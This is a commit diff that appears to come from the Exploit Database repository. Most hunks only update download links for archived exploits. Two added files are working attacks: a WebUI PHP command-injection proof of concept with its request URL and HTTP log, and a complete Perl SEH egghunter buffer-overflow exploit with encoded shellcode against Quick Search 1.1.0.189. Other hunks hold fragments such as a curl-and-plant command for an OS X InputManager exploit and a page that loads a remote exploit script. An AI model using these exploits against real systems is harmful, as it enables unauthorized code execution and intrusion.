36822,platforms/windows/local/36822.pl,"Quick Search 1.1.0.189 - 'search textbox' Unicode SEH egghunter Buffer Overflow",2015-04-23,"Tomislav Paskalev",windows,local,0
36825,platforms/hardware/dos/36825.php,"ZYXEL P-660HN-T1H_IPv6 Remote Configuration Editor / Web Server DoS",2015-04-23,"Koorosh Ghorbani",hardware,dos,80 36825,platforms/hardware/dos/36825.php,"ZYXEL P-660HN-T1H_IPv6 Remote Configuration Editor / Web Server DoS",2015-04-23,"Koorosh Ghorbani",hardware,dos,80
36826,platforms/windows/local/36826.pl,"Free MP3 CD Ripper 2.6 2.8 (.wav) - SEH Based Buffer Overflow",2015-04-23,ThreatActor,windows,local,0 36826,platforms/windows/local/36826.pl,"Free MP3 CD Ripper 2.6 2.8 (.wav) - SEH Based Buffer Overflow",2015-04-23,ThreatActor,windows,local,0

Can't render this file because it is too large.

2
platforms/asp/webapps/8719.py
View file

@ -15,7 +15,7 @@
# for working with this exploit you need two asp file for updating hash you can download both from : # for working with this exploit you need two asp file for updating hash you can download both from :
# www.abysssec.com/files/dana.zip # www.abysssec.com/files/dana.zip
# www.milw0rm.com/sploits/2009-dana.zip # https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/2009-dana.zip
# then need to upload asp files and change this "http://wwww.yourasphost.com/salt.asp?salt=" in exploit code # then need to upload asp files and change this "http://wwww.yourasphost.com/salt.asp?salt=" in exploit code

2
platforms/cgi/webapps/17653.txt
View file

@ -10,4 +10,4 @@ http://malerisch.net/docs/advisories/adobe_robohelp_dom_cross_site_scripting_xss
For reference, original vendor advisory: For reference, original vendor advisory:
http://www.adobe.com/support/security/bulletins/apsb11-23.html http://www.adobe.com/support/security/bulletins/apsb11-23.html
Mirror: http://www.exploit-db.com/download_pdf/17653 Mirror: http://www.exploit-db.com/docs/17653.pdf

2
platforms/linux/dos/33585.txt
View file

@ -8,4 +8,4 @@ Versions prior to Linux kernel 2.6.33-rc6 are vulnerable.
NOTE: This issue can be exploited only on 64-bit architectures. Core dumps must be enabled. NOTE: This issue can be exploited only on 64-bit architectures. Core dumps must be enabled.
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/ https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/33585.tgz

2
platforms/linux/dos/36633.txt
View file

@ -6,4 +6,4 @@ Remote attackers can exploit these issues to execute arbitrary code in the conte
Wireshark versions 1.4.0 through 1.4.10 and 1.6.0 through 1.6.4 are vulnerable. Wireshark versions 1.4.0 through 1.4.10 and 1.6.0 through 1.6.4 are vulnerable.
http://www.exploit-db.com/sploits/36633.zip https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/36633.zip

2
platforms/linux/dos/36669.txt
View file

@ -4,4 +4,4 @@ Apache APR is prone to a denial-of-service vulnerability.
An attacker can exploit this issue by sending specially crafted forms in HTTP POST requests. An attacker can exploit this issue by sending specially crafted forms in HTTP POST requests.
http://www.exploit-db.com/sploits/36669.zip https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/36669.zip

2
platforms/multiple/dos/15086.py
View file

@ -7,7 +7,7 @@
|_| |_|\____/_/ \_\____/|____/ |_| |_|\____/_/ \_\____/|____/
http://www.exploit-db.com/moaub-23-adobe-acrobat-and-reader-newfunction-remote-code-execution-vulnerability/ http://www.exploit-db.com/moaub-23-adobe-acrobat-and-reader-newfunction-remote-code-execution-vulnerability/
http://www.exploit.db.com/sploits/moaub-23-exploit.zip https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/moaub-23-exploit.zip
''' '''
''' '''

2
platforms/multiple/dos/36570.txt
View file

@ -4,4 +4,4 @@ Rockwell Automation FactoryTalk Activation Server is prone to multiple remote de
An attacker can exploit these issues to crash the affected application, denying service to legitimate users. An attacker can exploit these issues to crash the affected application, denying service to legitimate users.
http://www.exploit-db.com/sploits/36570.zip https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/36570.zip

2
platforms/multiple/dos/9731.txt
View file

@ -20,5 +20,5 @@ snort-2.8.4
snort-2.8.5.beta* snort-2.8.5.beta*
link: http://pablo-secdev.blogspot.com/2009/09/snort-28-285stable-unified1-output-bug.html link: http://pablo-secdev.blogspot.com/2009/09/snort-28-285stable-unified1-output-bug.html
poc: http://www.exploit-db.com/archive/2009-snort-unified1_bug.tar.gz poc: https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/2009-snort-unified1_bug.tar.gz
# milw0rm.com [2009-09-21] # milw0rm.com [2009-09-21]

2
platforms/multiple/remote/22509.txt
View file

@ -15,7 +15,7 @@ potential damage to their assets caused by Sophos.
The paper is available to download at the link below. The paper is available to download at the link below.
https://lock.cmpxchg8b.com/sophailv2.pdf https://lock.cmpxchg8b.com/sophailv2.pdf
http://www.exploit-db.com/wp-content/themes/exploit/docs/22510.pdf http://www.exploit-db.com/docs/22510.pdf
A working exploit for Sophos 8.0.6 on Mac is available, however the A working exploit for Sophos 8.0.6 on Mac is available, however the
techniques used in the exploit easily transfer to Windows and Linux, techniques used in the exploit easily transfer to Windows and Linux,

2
platforms/osx/local/3181.rb
View file

@ -12,7 +12,7 @@ bugselected = (ARGV[0] || 0).to_i
# INPUTMANAGER_URL = "http://projects.info-pull.com/moab/bug-files/MOAB-22-01-2007_im.tar.gz" # INPUTMANAGER_URL = "http://projects.info-pull.com/moab/bug-files/MOAB-22-01-2007_im.tar.gz"
# keeping a local backup. /str0ke # keeping a local backup. /str0ke
INPUTMANAGER_URL = "http://www.milw0rm.com/sploits/MOAB-22-01-2007_im.tar.gz" INPUTMANAGER_URL = "https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/MOAB-22-01-2007_im.tar.gz"
INPUTMANAGER_PLANT = "/usr/bin/curl -o /tmp/moab_im.tar.gz #{INPUTMANAGER_URL};" + INPUTMANAGER_PLANT = "/usr/bin/curl -o /tmp/moab_im.tar.gz #{INPUTMANAGER_URL};" +
"mkdir -p ~/Library/InputManagers/;" + "mkdir -p ~/Library/InputManagers/;" +
"cd ~/Library/InputManagers/;" + "cd ~/Library/InputManagers/;" +

2
platforms/php/webapps/17307.txt
View file

@ -16,4 +16,4 @@ step2.
Change request message to attacking file's post ID and file ID/name. Change request message to attacking file's post ID and file ID/name.
ex) http-request-message body : ~&postid=1&~~&threadid=1&divname=1-1-1-attach&fileid=2&filename=account.txt~ ex) http-request-message body : ~&postid=1&~~&threadid=1&divname=1-1-1-attach&fileid=2&filename=account.txt~
Full Advisory: http://www.exploit-db.com/download_pdf/17307 Full Advisory: http://www.exploit-db.com/docs/17307.pdf

34
platforms/php/webapps/36821.txt Executable file
View file

@ -0,0 +1,34 @@
#[+] Author: TUNISIAN CYBER
#[+] Title: WebUI Remote Code Execution Vulnerability
#[+] Date: 21-04-2015
#[+] Vendor: https://github.com/baram01/webui/
#[+] Type: WebAPP
#[+] Tested on: KaliLinux (Debian)
#[+] Twitter: @TCYB3R
#[+] Proof of concept: http://i.imgur.com/co9Qx0n.png
-------------------------------------------------------------------------------
p0c:
http://site/webui/mainfile.php?username=USER&password=PASSWORD&_login=1&Logon=';echo system('command');'
Live HTTP Header:
http://192.168.186.129/webui/mainfile.php?username=RCE&password=RCE&_login=1&Logon=%27;echo%20system(%27id%27);%27
GET /webui/mainfile.php?username=RCE&password=RCE&_login=1&Logon=%27;echo%20system(%27id%27);%27 HTTP/1.1
Host: 192.168.186.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 22 Apr 2015 13:20:23 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.39-0+deb7u2
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Length: 51
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

2
platforms/php/webapps/697.c
View file

@ -1,4 +1,4 @@
// Compiled version: http://www.milw0rm.com/sploits/phpbbmemorydump.rar // Compiled version: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/phpbbmemorydump.rar
// Source serv.cpp is at the bottom of the page - str0ke // Source serv.cpp is at the bottom of the page - str0ke
// Notes from author: // Notes from author:

2
platforms/php/webapps/897.cpp
View file

@ -1,5 +1,5 @@
/* Paisterist's code was nice but heres mil's version. /* Paisterist's code was nice but heres mil's version.
* precompiled: http://www.milw0rm.com/sploits/897.rar * precompiled: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/897.rar
* Usage: * Usage:
* bcc32 897.cpp * bcc32 897.cpp
* and place the exe in your firefox profile dir. * and place the exe in your firefox profile dir.

1
platforms/windows/dos/15297.txt
View file

@ -72,7 +72,6 @@ Double Frees are usually exploitable but in this case it doesnt look simple. The
Proof of Concept: Proof of Concept:
http://www.exploit-db.com/application/15297
Vendor-Patch Status: Vendor-Patch Status:

4
platforms/windows/dos/18755.c
View file

@ -16,7 +16,7 @@ http://www.whitecell.org/list.php?id=50
The shell code to acheive privilage esclation as per the article used the following steps The shell code to acheive privilage esclation as per the article used the following steps
http://www.exploit-db.com/wp-content/themes/exploit/docs/18712.pdf http://www.exploit-db.com/docs/18712.pdf
. .
1) Use PslookupProcessId get system token 1) Use PslookupProcessId get system token
@ -57,7 +57,7 @@ unsigned char hexcode[]="\x90\x90\x90\xcc\x90\x90\x90\x90";
/* /*
The shell code to acheive privilage esclation The shell code to acheive privilage esclation
Add you shellcode here as per the article http://www.exploit-db.com/wp-content/themes/exploit/docs/18712.pdf Add you shellcode here as per the article http://www.exploit-db.com/docs/18712.pdf
the malware used the following method. the malware used the following method.
1) Wse PslookupProcessId get system token 1) Wse PslookupProcessId get system token

2
platforms/windows/dos/19575.txt
View file

@ -1,4 +1,4 @@
Paper: http://www.exploit-db.com/wp-content/themes/exploit/docs/19527.pdf Paper: http://www.exploit-db.com/docs/19527.pdf
Security Research - .Net Framework Tilde Character DoS Security Research - .Net Framework Tilde Character DoS

2
platforms/windows/dos/36443.txt
View file

@ -8,4 +8,4 @@ Note: The impact of the unspecified vulnerability is not known. We will update t
Versions prior to Opera Web Browser 11.60 are vulnerable. Versions prior to Opera Web Browser 11.60 are vulnerable.
http://www.exploit-db.com/sploits/36443.zip https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/36443.zip

2
platforms/windows/dos/36788.txt
View file

@ -64,4 +64,4 @@ Successful exploitation may allow execution of arbitrary code.
=========== ===========
http://protekresearchlab.com/exploits/PRL-2015-04.docx http://protekresearchlab.com/exploits/PRL-2015-04.docx
http://www.exploit-db.com/sploits/36788.docx https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/36788.docx

1
platforms/windows/local/11093.rb
View file

@ -1,5 +1,4 @@
# Exploit Title: [Soritong v1.0 Universal BOF-SEH (META)] # Exploit Title: [Soritong v1.0 Universal BOF-SEH (META)]
# Software Link: #[http://www.exploit-db.com/downloads/a1def037869c831496bda3d81b0d06f5-soritong10.exe]
# Version: [V1.0] # Version: [V1.0]
# Tested on: [windows xp 2] # Tested on: [windows xp 2]

2
platforms/windows/local/12255.rb
View file

@ -79,5 +79,3 @@ class Metasploit3 < Msf::Exploit::Remote
end end
end end
<http://www.exploit-db.com/application/11010>

1
platforms/windows/local/14550.py
View file

@ -1,7 +1,6 @@
# Exploit Title: Easy RM to MP3 2.7.3.700 Local Buffer Overflow (.m3u , .pls , .smi , .wpl , .wax , .wvx , .ram) # Exploit Title: Easy RM to MP3 2.7.3.700 Local Buffer Overflow (.m3u , .pls , .smi , .wpl , .wax , .wvx , .ram)
# Date: 4 / 8 / 2010 # Date: 4 / 8 / 2010
# Author: Oh Yaw Theng # Author: Oh Yaw Theng
# Software Link: http://www.exploit-db.com/application/10642/
# Version: 2.7.3.700 # Version: 2.7.3.700
# Tested on: Windows XP SP 1 # Tested on: Windows XP SP 1
# CVE : N / A # CVE : N / A

1
platforms/windows/local/14630.py
View file

@ -6,7 +6,6 @@
# Coded By: Dr_IDE # Coded By: Dr_IDE
# Found By: abhishek lyall # Found By: abhishek lyall
# Usage: Load the evil .m3u file and click on it. # Usage: Load the evil .m3u file and click on it.
# Download: http://www.exploit-db.com/application/14612
# Tested On: Windows XPSP3 # Tested On: Windows XPSP3
# #
################################################################# #################################################################

1
platforms/windows/local/14633.py
View file

@ -7,7 +7,6 @@
# you on this one ! :) # you on this one ! :)
# Grtz to dookie2000ca :) # Grtz to dookie2000ca :)
# Original Advisory: http://www.exploit-db.com/exploits/14517 (hadji samir) # Original Advisory: http://www.exploit-db.com/exploits/14517 (hadji samir)
# Download: http://www.exploit-db.com/application/14517
# Platform: Windows XP SP3 En Professional - VirtualBox # Platform: Windows XP SP3 En Professional - VirtualBox
# Greetz to: Corelan Security Team # Greetz to: Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/ # http://www.corelan.be:8800/index.php/security/corelan-team-members/

1
platforms/windows/local/14651.py
View file

@ -5,7 +5,6 @@
# Date: August 15, 2010 # Date: August 15, 2010
# Author: dijital1 # Author: dijital1
# Original Advisory: http://www.exploit-db.com/exploits/14601 - abhishek lyall # Original Advisory: http://www.exploit-db.com/exploits/14601 - abhishek lyall
# Download: http://www.exploit-db.com/application/14601/
# Platform: Windows XP SP3 EN Professional - VMware # Platform: Windows XP SP3 EN Professional - VMware
# Greetz to: Corelan Security Team, Exploit-db, OffSec # Greetz to: Corelan Security Team, Exploit-db, OffSec
# http://www.corelan.be:8800/index.php/security/corelan-team-members/ # http://www.corelan.be:8800/index.php/security/corelan-team-members/

1
platforms/windows/local/15184.c
View file

@ -1,7 +1,6 @@
# Exploit Title: AudioTran SafeSEH+SEHOP all-at-once attack method exploit # Exploit Title: AudioTran SafeSEH+SEHOP all-at-once attack method exploit
# Date: 2010.10.1 # Date: 2010.10.1
# Author: x90c # Author: x90c
# Software Link: http://www.exploit-db.com/application/14961/
# Version: 1.4.2.4 # Version: 1.4.2.4
# Tested on: # Tested on:
# - MS Win xp sp3 pro ko ( SafeSEH ) # - MS Win xp sp3 pro ko ( SafeSEH )

1
platforms/windows/local/17449.py
View file

@ -3,7 +3,6 @@
#[+]Exploit Title: FreeAmp 2.0.7 .PLS File Buffer Overflow Exploit #[+]Exploit Title: FreeAmp 2.0.7 .PLS File Buffer Overflow Exploit
#[+]Date: 24\06\2011 #[+]Date: 24\06\2011
#[+]Author: C4SS!0 G0M3S #[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.exploit-db.com/application/17441/
#[+]Version: 2.0.7 #[+]Version: 2.0.7
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese #[+]Tested On: WIN-XP SP3 Brazilian Portuguese
#[+]CVE: N/A #[+]CVE: N/A

2
platforms/windows/local/17473.txt
View file

@ -11,7 +11,7 @@
#It work reliably on IE9/FF4 and other browsers. #It work reliably on IE9/FF4 and other browsers.
# #
# The Arashi : http://abysssec.com/files/The_Arashi.pdf # The Arashi : http://abysssec.com/files/The_Arashi.pdf
http://www.exploit-db.com/download_pdf/17469 http://www.exploit-db.com/docs/17469.pdf
# me : twitter.com/ponez # me : twitter.com/ponez
# also check here for The Persian docs of this methods and more : # also check here for The Persian docs of this methods and more :
http://www.0days.ir/article/ http://www.0days.ir/article/

2
platforms/windows/local/17474.txt
View file

@ -13,7 +13,7 @@ Exploit
# so just need to open open Office , and then open exploit after a few second and saw a nice calc. # so just need to open open Office , and then open exploit after a few second and saw a nice calc.
# #
# The Arashi : http://abysssec.com/files/The_Arashi.pdf # The Arashi : http://abysssec.com/files/The_Arashi.pdf
# http://www.exploit-db.com/download_pdf/17469 # http://www.exploit-db.com/docs/17469.pdf
# #
# me : twitter.com/ponez # me : twitter.com/ponez
# aslo check here for Persian docs of this methods and more : # aslo check here for Persian docs of this methods and more :

1
platforms/windows/local/17634.pl
View file

@ -3,7 +3,6 @@
#[+]Exploit Title: Free CD to MP3 Converter 3.1 Universal DEP Bypass Exploit #[+]Exploit Title: Free CD to MP3 Converter 3.1 Universal DEP Bypass Exploit
#[+]Date: 07\08\2011 #[+]Date: 07\08\2011
#[+]Author: C4SS!0 G0M3S #[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.exploit-db.com/application/15480/
#[+]Version: 3.1 #[+]Version: 3.1
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese #[+]Tested On: WIN-XP SP3 Brazilian Portuguese
#[+]CVE: N/A #[+]CVE: N/A

2
platforms/windows/local/36424.txt
View file

@ -41,4 +41,4 @@ Observed Result:
Authentication was successful as local system and a file written to the root of the C drive . Authentication was successful as local system and a file written to the root of the C drive .
Proof of Concept: Proof of Concept:
http://www.exploit-db.com/sploits/36424.zip https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/36424.zip

135
platforms/windows/local/36822.pl Executable file
View file

@ -0,0 +1,135 @@
#!/usr/bin/perl
###########################################################################=
#######################
# Exploit Title: Quick Search 1.1.0.189 'search textbox' Unicode SEH egghunter Buffer Overflow
# Date: 2015-04-23
# Exploit Author: Tomislav Paskalev
# Vulnerable Software: Quick Search v1.1.0.189
# Vendor Homepage: http://www.glarysoft.com/
# Software Link: https://www.exploit-db.com/apps/93feb6805c08d3ca84b0636a3a986a56-qsearchsetup.exe
# Version: 1.1.0.189
# Tested on: Windows XP SP2 EN
# OSVDB-ID: 93445
###########################################################################=
#######################
# Credits:
# - Vulnerability identified by ariarat
# http://www.exploit-db.com/exploits/25443/
###########################################################################=
#######################
# Exploit development notes:
# - instead of attaching the process, start the executable within the debugger
# - the application's module gtms_D7.bpl was not compiled with SafeSEH
# - since this is a unicode buffer overflow \x00 will not terminate the string
# - 6 available unicode friendly P/P/R pointers within the module
# - this exploit should work across different OS versions
# (tested only on Win XP SP2 EN)
# - several other unicode friendly aplication modules are available, but have not been checked
###########################################################################=
#######################
# How to exploit:
# - Quick Search -> (click arrow for menu) Match Path -> (click arrow for menu) Full Mode ->=20
# (paste created exploit string into the search textbox)
# - once the exploit string is pasted, the egghunter starts to search the memory for the marker
# - on my test machine the search takes around 30 seconds (until the shellcode gets executed)
# - during the search the mouse cursor will NOT have a hourglass displayed beside it
# - during the search the application will NOT become unresponsive (i.e. it will be usable)
###########################################################################=
#######################
# Thanks to:
# - ariarat (PoC)
# - Peter Van Eeckhoutte (exploit development tutorials)
# - Offensive Security (IT security courses, admin support)
###########################################################################=
#######################
my $junk = "A" x 21;
# Egghunter code; NtAccessCheckAndAuditAlarm method; searches for "0t0t"
# msfencode -e x86/alpha_mixed
# msfencode -e x86/unicode_upper BufferRegister=3DEAX
# converted to ASCII
my $egghunter =
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ" .
"11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944J" .
"B9KHHHYCDO4KD1KB3QIQ9OY190IQ9PIQ9PI0IOS13PCPC1313PCOGB11J2J11R8R" .
"0P01100OQRK11OQB102Q1OR02PB0BNP0BORQ11228PPP8Q1PBT50JQ9RUOF0M212" .
"J1Z3IRO3F2O41QB1VP2S20J26RBP3BHRZ2MBVPNRGPLCCOESBCJ2C14482O2O18B" .
"52000P02EB032PTBNBKR92J0L2OBR1E3ICJPLRO0B0URZ0G2KPO1I2W11Q1AA";
my $fill = "C" x (1045 - length($junk.$egghunter));
my $nextSEH = "\x41\x6d"; # INC ECX; INSW Yz DX
my $SEH = "\x70\x34"; # POP POP RET from gtms_D7.bpl
# jump to egghunter code
my $allign = "\x58"; # POP EAX
$allign = $allign."\x6d"; # NOP/remove NULL bytes
$allign = $allign."\x58"; # POP EAX
$allign = $allign."\x6d"; # NOP/remove NULL bytes
$allign = $allign."\x58"; # POP EAX
$allign = $allign."\x6d"; # NOP/remove NULL bytes
$allign = $allign."\x05\x01\x11"; # ADD EAX, 0x11000100
$allign = $allign."\x6d"; # NOP/remove NULL bytes
$allign = $allign."\x2d\x09\x11"; # SUB EAX, 0x11000900
$allign = $allign."\x6d"; # NOP/remove NULL bytes
my $jumptoegghunter = "\x50"; # PUSH EAX
$jumptoegghunter = $jumptoegghunter."\x6d"; # NOP/remove NULL bytes
$jumptoegghunter = $jumptoegghunter."\xc3"; # RETN
# fill the rest of the stack frame + padding (to avoid a memory area which coverts to upper alpha)
my $fill2 = "D" x 500;
# allign EAX and jump to shellcode
# (this gets executed after the marker is found)
my $allign2 = "\x6d"; # NOP/remove NULL bytes
$allign2 = $allign2."\x57"; # PUSH EDI
$allign2 = $allign2."\x6d"; # NOP/remove NULL bytes
$allign2 = $allign2."\x58"; # POP EAX
$allign2 = $allign2."\x6d"; # NOP/remove NULL bytes
$allign2 = $allign2."\xb9\x1b\xaa"; # MOV ECX, 0xaa001b00
$allign2 = $allign2."\xe8"; # ADD AL,CH (equivalent to adding "1b" (from the previous command)
# to the last two bytes of EAX; i.e. increase EAX with "1b")
$allign2 = $allign2."\x6d"; # NOP/remove NULL bytes
$allign2 = $allign2."\x50"; # PUSH EAX
$allign2 = $allign2."\x6d"; # NOP/remove NULL bytes
$allign2 = $allign2."\xc3"; # RETN
# msfpayload windows/messagebox
# msfencode -e x86/alpha_mixed
# msfencode -e x86/unicode_upper BufferRegister=3DEAX
# converted to ASCII
my $shellcode =
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ" .
"11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944J" .
"BYKWTHY44MTZTQNPV29190IQ919PI19PIOY19Q3Q3PC13Q3PC13070QPZ2JQ1B8R" .
"000Q10011RKOQQ10QOBOQ0BOBORQ200Q2Q2Q1Q2QHB0OHQ1Q2CEPJQ91JRY2XBKB" .
"MPKPI19S3Q4NVQ40J0TBT2QOZRR0N0RPPD70TT1RJC9OEP4PN2KNQQQPD400N2KN" .
"PSFQ4PLPNBKNT0615PL2NRKRPOV0418PNRKBSPNOW20PL0KBGQ6B51XPRRO2D0X0" .
"Q35PLP3NS1YB3P11H0Q49BOR92QRQ40RL0KBPRLBD340UD4RNBK010UQW0L2N2KN" .
"S343F18QBQHBFS1492Z0LPK0PPJB7QXBL0KBR3J2QNP33P1T8RKCJQ3OGPDQ3D9R" .
"NBKPTSDBL0KBFQQOX2N4621PK0OR0NQD9R02KPL0N0LRKNTPKRP0RB4162G2I21N" .
"XPO162M03NQ38OWNX2KQ9QTB7PKRSPL1QOD1F0HBQ2E2M01PNRK02CJ0UCDPF1QP" .
"JPKP5OFBLPK16RLR0PK0N2KQCQZC50L1EPQCHBK0NRK45PTBN2K1CP1QX1XPOD9Q" .
"ST4PE3DCE0LD3R1NX13NXP2C3NX1G1IBNODRK0948C5POSI2JQRQ5NX0L0NNR2N3" .
"F2NBJ0LR3BBPK0XBMPO492OCIBO29RO0OSIT7P52D0D0MRKC1RNPJD8PY422C0CB" .
"OBWSEPLP4341C2BB8QX0N2N0IBOQ92OD9BO2N1YPC45Q7RXNR0HB02L2PBLB1003" .
"7NQ0148RVPS2F1B342NOC0TPUNXODOE221CNRQ51312PKNXP10LQFOTQ62J0MB92" .
"MP61606NYBOBSBEBCODPLOYBO02CFNPPMBKPNOX2OQBC2BMPOPL2M0W1W2LNW24S" .
"112BK1H41T11YBO29BO2KPO130X2PQHNQ00P1P0QGB0NS0XNRCDQEP531BC43OTR" .
"0P12KRK0NRH410LD4BD45PT0LOY0JPCBBOXC2PNOF0N03BHPW0PR1D82PC1BDP43" .
"5P9OB0OB508ODP00B0LS2PI030SD508NQSD370PC3PQP040D5P8020OOEOI0B1DN" .
"PS5NUOHP31ER4OHPB0PT20L031HNS0D13B8BSB5NQ00P1BXQ70P3B0OPPQVBUT0S" .
"B18OBB4320E012HT4ODPCR8QU40R30SRBPO32PNORQ8P5D0QQQTOENXR2PEPP38B" .
"R0NPG20D0BIT0BNB5P80B251QS4T02IR0ROP038T30UP2B83CR5R3232B0HP20OR" .
"3B4P0C5R1NPB1SH0EP5T5P41WR0Q5P3BBQ8P3BW03B1OCQINPRNP4T1SJ2IPO3HT" .
"22LC724B3CBBN390MNQQ60QT912120J01R013C32CS1QS2B0KPOB8R03DBQ2K2PR" .
"PPP0KPOBB3E0FQXOQOQAA";
my $payload = $junk.$egghunter.$fill.$nextSEH.$SEH.$allign.$jumptoegghunter.$fill2."0t0t".$allign2.$shellcode;
open(myfile,'>QuickSearch_egghunter_messagebox.txt');
print myfile $payload;
close(myfile);
print "Wrote ".length($payload)." bytes\n";

2
platforms/windows/local/5442.cpp
View file

@ -10,6 +10,6 @@
/// calc will not be run. /// calc will not be run.
///////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////
http://www.milw0rm.com/sploits/2008-exploit_08021.zip https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/2008-exploit_08021.zip
// milw0rm.com [2008-04-14] // milw0rm.com [2008-04-14]

1
platforms/windows/remote/12495.pl
View file

@ -1,7 +1,6 @@
# Exploit Title: ProSSHD 1.2 remote post-auth exploit (w/ASLR and DEP bypass) # Exploit Title: ProSSHD 1.2 remote post-auth exploit (w/ASLR and DEP bypass)
# Date: 03.05.2010 # Date: 03.05.2010
# Author: Alexey Sintsov # Author: Alexey Sintsov
# Software Link: http://www.exploit-db.com/application/11618
# Version: 1.2 # Version: 1.2
# Tested on: Windows XP SP3 / Windows 7 # Tested on: Windows XP SP3 / Windows 7
# CVE : # CVE :

1
platforms/windows/remote/15016.rb
View file

@ -1,7 +1,6 @@
# Exploit Title: Integard Pro 2.2.0.9026 (Win7 ROP-Code Metasploit Module) # Exploit Title: Integard Pro 2.2.0.9026 (Win7 ROP-Code Metasploit Module)
# Date: 2010-09-15 # Date: 2010-09-15
# Author: Node # Author: Node
# Software Link: http://www.exploit-db.com/application/14941
# Version: Race River Integard Pro 2.2.0.9026, integard32.dll(v.2.0.0.306) # Version: Race River Integard Pro 2.2.0.9026, integard32.dll(v.2.0.0.306)
# Tested on: Windows 7 x64 Eng # Tested on: Windows 7 x64 Eng
# CVE : - # CVE : -

2
platforms/windows/remote/36491.txt
View file

@ -1,6 +1,6 @@
Source: https://github.com/SecurityObscurity/cve-2015-0313 Source: https://github.com/SecurityObscurity/cve-2015-0313
PoC: http://www.exploit-db.com/sploits/36491.zip PoC: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/36491.zip
Adobe Flash vulnerability source code (cve-2015-0313) from Angler Exploit Kit Adobe Flash vulnerability source code (cve-2015-0313) from Angler Exploit Kit

2
platforms/windows/remote/36542.txt
View file

@ -6,4 +6,4 @@ Successful attacks will allow attackers to execute arbitrary code within the con
ExpressView Browser Plug-in 6.5.0.3330 and prior versions are vulnerable. ExpressView Browser Plug-in 6.5.0.3330 and prior versions are vulnerable.
http://www.exploit-db.com/sploits/36542.zip https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/36542.zip

2
platforms/windows/remote/36546.txt
View file

@ -6,4 +6,4 @@ Successfully exploiting this issue may allow attackers to execute arbitrary code
GreenBrowser 6.0.1002 and prior versions are vulnerable. GreenBrowser 6.0.1002 and prior versions are vulnerable.
http://www.exploit-db.com/sploits/36546.rar https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/36546.rar

2
platforms/windows/remote/418.c
View file

@ -2,7 +2,7 @@ This 0day exploit is known to be circulating in the wild
There is no patch for this vulnerability -> Do not use Winamp ! There is no patch for this vulnerability -> Do not use Winamp !
http://www.milw0rm.com/sploits/skinhead.rar (171 Ko) https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/skinhead.rar (171 Ko)
index.html index.html

4
platforms/windows/remote/986.html
View file

@ -1,5 +1,5 @@
<!-- <!--
1) wget http://www.milw0rm.com/sploits/05072005.js 1) wget https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/05072005.js
2) change src= below 2) change src= below
3) edit index and change tftp location 3) edit index and change tftp location
@ -11,7 +11,7 @@
<meta http-equiv="Expires" content="Tue, 16 Jan 1990 21:29:02 GMT"> <meta http-equiv="Expires" content="Tue, 16 Jan 1990 21:29:02 GMT">
<script language="javascript" src="http://www.milw0rm.com/sploits/05072005.js"></script></head> <script language="javascript" src="https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/05072005.js"></script></head>
<body> <body>

2
platforms/windows/webapps/19525.txt
View file

@ -1,5 +1,5 @@
PoC: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/19525.zip PoC: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/19525.zip
Paper: http://www.exploit-db.com/download_pdf/19527 Paper: http://www.exploit-db.com/docs/19527.pdf
Security Research - IIS Short File/Folder Name Disclosure Security Research - IIS Short File/Folder Name Disclosure